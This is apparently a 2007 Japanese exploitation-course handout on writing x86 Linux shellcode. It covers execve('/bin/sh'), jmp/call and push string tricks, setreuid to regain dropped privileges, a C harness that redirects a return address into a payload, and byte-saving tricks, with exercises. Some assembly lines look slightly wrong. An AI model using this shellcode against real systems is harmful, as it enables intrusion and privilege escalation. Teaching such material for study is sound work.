Exploiting実習 第3回


目次


シェルコード


C言語でのシェル起動

C言語では次のように,execve関数を使ってシェルを起動する.


#include <unistd.h>

void main (void){

    const char *argv[] = {"/bin/sh", '\0'};
    const char *envp[] = '\0';
    execve("/bin/sh", argv, envp);
}

これをアセンブリで記述すればよい.


execveシステムコール

execve()はプログラムを実行するシステムコール.execveが呼ばれると元のプログラムには戻らず,呼び出し元のプロセスのtext,data,bss,スタックセグメントは上書きされる.プロトタイプは次のようになっている.


#include <unistd.h>

int execve(const char *filename, char *const argv[], char *const envp[]);

execve関数への引数の図


文字列生成テクニック

文字列生成手順

  1. 「/bin/shXAAAABBBB」という文字列を宣言
  2. Xの部分を0で上書き
  3. 文字列の先頭アドレスを取得
  4. AAAAの部分をそのアドレスで上書き
  5. BBBBの部分を0で上書き

.globl main

main:
    jmp    ONE

TWO:
    popl   %ebx
    xorl   %eax,   %eax
    movl   %eax,   7(%ebx)
    mov    %ebx,   8(%ebx)
    mov    %eax,   12(%ebx)

ONE:
    call    TWO
    .string "/bin/shXAAAABBBB"

オフセットについての補足

予約席についての補足

今回は文字列生成のアドレス上書きにXやAAAAのような「予約席」を用意したが,シェルコードはプログラムをハイジャックするような行儀の悪いプログラムである.故に予約を取らず隣接メモリを上書きしても問題にならない.

lea命令について

アドレスをレジスタに設定するにはleaを利用する.execveへの第2引数には文字列のアドレスが格納された場所のアドレスを渡すため,ecxにはAAAAへのアドレスを入れる必要がある.「mov 8(%ebx), %ecx」ではebx+8バイトのアドレスにある値を取り出してecxに入れてしまうので,ebx+8バイトのアドレス自身を取り出すことはできない.
leaを使って「lea 8(%ebx), %ecx」とすると,ebx+8バイトのアドレス自身をecxに設定することになる.


.globl main

main:
    jmp    ONE

TWO:
    popl   %ebx
    leal   8(%ebx), %ecx ;ebx+8(AAAAの部分)のアドレスをecxへ
    leal   %ecx,    %edx ;ecxレジスタ自身のアドレスをedxへ

ONE:
    call    TWO
    .string "/bin/shXAAAABBBB"

例題 3.1

jmp/callテクニックを利用した,シェル(/bin/sh)を起動するペイロードを作成せよ.exitシステムコールは省略してもよい.


権限の復帰

権限の復帰はsetreuid()で行う.setreuid()は実UIDと実効UIDを設定するシステムコール.プロトタイプは次のようになっている.


#include <sys/types.h>
#include <unistd.h>

int setreuid(uid_t ruid, uid_t euid);

例題 3.2

権限放棄を行うシステムへの対策として,例題3.1で作成したシェルコードにsetreuid()を用いて権限の復帰を行う処理を追加せよ.


動作テスト

ペイロードのテストには,プログラム内で意図的にペイロードを実行する次のプログラムを利用する.


unsigned char payload[]="SHELLCODE";

int main(void){
    int *retadd;
    retadd = (int *)&retadd + 2;
    (*retadd) = (int)payload;
    return 0;
}

プログラムの流れを変えてスタックセグメント上のペイロードを実行する点で,バッファオーバフローなどのExpliotと動作は変わらない.


シェルコードの小型化


pushテクニックの応用

スタックはメモリ高位から低位へむかって伸びるので,始めにNULLをプッシュしてから文字列をプッシュして構成し,最後にスタックポインタを取り出せば文字列の生成と先頭アドレスの取得ができる.

  1. NULLを4バイトプッシュ
  2. //sh(0x68732f2f)をプッシュ
  3. /bin(0x6e69622f)をプッシュ
  4. esp(スタックポインタ)の値を取り出す

プッシュテクニックによる文字列の生成

execveへの引き数の構成

  1. NULLを4バイトプッシュ
  2. //sh(0x68732f2f)をプッシュ
  3. /bin(0x6e69622f)をプッシュ
  4. espの値をebxへ
  5. NULLを4バイトプッシュ
  6. ebx(文字列のアドレス)をプッシュ
  7. espの値をecxへ

プッシュテクニックによるexecveへの引数の生成

pushによるシステムコール番号の生成


xorl %eax,    %eax
movb $0x70,   %al

上記の部分を次のように変えると1バイトコードが短くなる.


push $0x70
pop  %eax

cdp命令の活用

cdp(Convert Doubleword to Quadword):eaxに格納された4バイトの符号付整数を8バイトの符号付整数に変換する.上4バイトはedxに、下4バイトはeaxに格納される.


xorl %edx,    %edx

上の部分を次のように変えれば1バイト短縮できる.


cltd

ただし,eaxが負の数ではないこと.

例題 3.3

pushテクニックを用いて,例題3.2で作成したシェルコードを小型化せよ.


pushテクニックの注意点


次回の予定


Copyleft (C) 2007. Defolos. All rights opened.